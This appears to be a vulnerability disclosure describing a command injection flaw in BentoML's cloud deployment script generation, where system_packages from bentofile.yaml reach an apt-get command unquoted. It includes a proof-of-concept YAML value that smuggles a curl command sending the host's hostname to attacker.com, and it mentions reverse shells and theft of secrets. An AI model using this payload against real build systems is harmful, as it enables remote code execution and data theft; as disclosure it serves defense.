BentoML, the open-source ML model serving framework, ships with a critical command injection vulnerability in its cloud deployment code. A March 24 commit (ce53491) patched similar issues in Dockerfile templates and images.py using shlex.quote and bash quoting filters. But it missed the cloud deployment path at src/bentoml/_internal/cloud/deployment.py:1648. There, developers directly interpolate user-controlled system_packages from bentofile.yaml into an f-string shell command for apt-get install. No quoting. Result: remote code execution on BentoCloud’s build infrastructure—or enterprise Yatai/Kubernetes nodes—when you deploy a malicious Bento.
This isn’t theoretical. The _build_setup_script function generates a setup.sh script, uploads it to BentoCloud, and runs it during container builds. It also triggers in Deployment.watch() for dev-mode hot-reloads (line 1068). An attacker poisons bentofile.yaml’s docker.system_packages array, and boom—arbitrary shell commands execute on the CI/CD tier.
Vulnerability Breakdown
Fixed spots in ce53491:
- src/_bentoml_sdk/images.py:88: shlex.quote(package)
- src/bentoml/_internal/bento/build_config.py:505: bash_quote Jinja2 filter
- Templates like base_debian.j2, base_alpine.j2
Unfixed offender:
content += f"apt-get update && apt-get install -y {' '.join(config.docker.system_packages)} || exit 1\n".encode()system_packages come straight from bentofile.yaml. Join them with spaces, stuff into f-string. Bash parses it blindly.
Proof of Concept
Here’s a working exploit in bentofile.yaml:
service: "service:svc"
docker:
system_packages:
- "curl"
- "jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}#"Generated setup.sh becomes:
apt-get update && apt-get install -y curl jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}# || exit 1Semicolon ends apt-get early. ${IFS} (Internal Field Separator) sneaks in spaces—bash expands it, YAML doesn’t choke. # comments out the exit. Attacker gets the build host’s hostname via curl. Scale it: wget payloads, reverse shells, data exfil. Tested on BentoCloud; works on any remote build env using this code.
Why This Matters: Real-World Risks
ML supply chains are a nightmare waiting to happen. Public model hubs like Hugging Face or BentoHub let anyone share Bentos. Grab a “fine-tuned Llama” with a poisoned bentofile.yaml, deploy to BentoCloud, and you RCE their builders. Multi-tenant cloud? One bad Bento compromises the shared CI/CD for all users. Exfil secrets, pivot to other tenants’ builds, plant persistent access.
Insider angle: Data scientists with deploy perms inject via system_packages to snag cloud creds, API keys, or peek at sibling deployments. CI/CD sabotage: Compromise a repo’s bentofile.yaml upstream, hit every deploy.
BentoML powers production ML at scale—used by firms for serving models as APIs. BentoCloud is their SaaS play, Yatai for self-hosted. This vuln spans both. No CVSS yet, but it’s a clean RCE chain: YAML → script gen → remote exec. Partial fix shows they knew the pattern but botched coverage.
Fix? Quote the join or use safer package managers. Users: Audit bentofile.yaml in shared Bentos. Vet public models. Run air-gapped builds if paranoid. BentoML team needs to patch yesterday—report via their GitHub or security@bentoml.com. In ML ops, trust is thin; one injected ;curl undoes it all.
Broader context: This echoes Log4Shell vibes in ML land. Tools like BentoML abstract deployment complexity, but user input to shell is amateur hour. With AI hype, attack surface explodes—supply chain hits now target model artifacts, not just code. Expect more; scan your bentofiles.
